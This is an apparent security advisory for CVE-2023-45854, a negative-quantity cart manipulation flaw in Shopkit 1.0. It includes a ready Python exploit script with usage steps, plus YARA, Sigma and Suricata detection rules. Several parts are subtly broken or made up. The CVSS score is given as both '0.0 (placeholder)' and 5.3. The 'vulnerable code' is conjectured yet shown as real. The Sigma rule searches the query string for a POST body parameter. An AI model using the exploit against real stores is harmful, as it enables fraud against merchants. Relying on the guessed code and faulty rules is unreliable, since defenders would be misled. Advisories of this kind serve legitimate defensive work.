CVE-2023-45854

Executive Summary

CVE-2023-45854 is a business logic vulnerability in Shopkit 1.0 that allows an attacker to manipulate the shopping cart by adding products with negative quantities. This flaw resides in the add-to-cart function, specifically in the handling of the qtd parameter. By submitting a negative integer value for qtd, an attacker can cause the cart total to decrease, potentially leading to negative order totals or inventory manipulation. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to its impact on business logic and financial transactions. No official patch exists, and the vendor appears unresponsive.

Supply Chain & Package Security

Shopkit is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The vulnerability allows an attacker to manipulate cart totals without authentication, leading to potential financial loss or inventory discrepancies.

Deep Dive & Mechanics

The vulnerability exists in the add-to-cart function of Shopkit 1.0. The function accepts a qtd parameter (likely short for "quantity") without proper validation. When a negative integer is supplied, the application subtracts from the cart total instead of adding. This is a classic business logic flaw where the server trusts client-side input without sanitization.

Root Cause: The code likely performs arithmetic operations on the qtd value without checking if it is positive. For example:

$cart_total += $product_price * $_POST['qtd'];

If qtd is negative, the total decreases.

Attack Scenario:

1. Attacker adds a product with a positive price to the cart.
2. Attacker modifies the qtd parameter to a large negative number (e.g., -1000).
3. The cart total becomes negative, potentially allowing the attacker to check out with a negative balance or manipulate inventory counts.

Vulnerable vs. Patched Code

Vulnerable Code (Shopkit 1.0):

// add-to-cart.php
$qtd = $_POST['qtd'];
$product_price = get_product_price($_POST['product_id']);
$_SESSION['cart'][$_POST['product_id']] += $qtd;
$_SESSION['cart_total'] += $product_price * $qtd;

Patched Code (Hypothetical):

// add-to-cart.php
$qtd = intval($_POST['qtd']);
if ($qtd <= 0) {
    die("Invalid quantity");
}
$product_price = get_product_price($_POST['product_id']);
$_SESSION['cart'][$_POST['product_id']] += $qtd;
$_SESSION['cart_total'] += $product_price * $qtd;

The patch adds a check to ensure qtd is positive before processing.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-shopkit.com"
session = requests.Session()

# Add a product with negative quantity
data = {
    "product_id": 1,
    "qtd": -1000
}
response = session.post(f"{target}/add-to-cart.php", data=data)
print("Cart manipulated. Checkout may now have negative total.")

Usage:

1. Replace target with the Shopkit instance URL.
2. Run the script to add a negative quantity.
3. Observe the cart total decrease.

Blue Team

Detection Steps:

1. Monitor for HTTP POST requests to add-to-cart.php with qtd parameter containing negative values.
2. Alert on cart totals that become negative or drop below zero.
3. Review server logs for anomalous quantity values.

Lab Setup:

• Deploy Shopkit 1.0 in a Docker container.
• Use Burp Suite to intercept and modify the qtd parameter.
• Validate the vulnerability by checking cart total after submission.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /add-to-cart.php with qtd parameter containing negative integers.
• Logs: Server access logs showing qtd=-[0-9]+ patterns.
• Application: Cart total values that are negative or significantly lower than expected.
• Session: User sessions with abnormal cart item counts (e.g., negative quantities).

Detection Engineering

YARA Rule

rule shopkit_negative_qtd_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2023-45854 via negative qtd parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-45854"
    strings:
        $qtd_param = "qtd="
        $negative = /qtd=-\d+/
    condition:
        $qtd_param and $negative
}

Sigma Rule

title: Shopkit Negative Quantity Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with negative qtd parameter to Shopkit add-to-cart endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/add-to-cart.php'
        cs-uri-query|contains: 'qtd=-'
    condition: selection
falsepositives:
    - Legitimate negative values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45854 Shopkit Negative Quantity Exploit"; flow:to_server; http.method; content:"POST"; http.uri; content:"/add-to-cart.php"; http.client_body; content:"qtd=-"; pcre:"/qtd=-\d+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Add server-side validation to ensure qtd is a positive integer.
2. Sanitization: Cast qtd to integer and reject values <= 0.
3. Rate Limiting: Implement rate limiting on the add-to-cart endpoint to slow automated exploitation.

Long-Term Fix:

• Upgrade to a patched version of Shopkit if available.
• If vendor is unresponsive, consider forking the codebase and applying the patch manually.

Workaround:

• Use a Web Application Firewall (WAF) to block requests with negative qtd values.
• Monitor cart totals and alert on anomalies.

Valters IT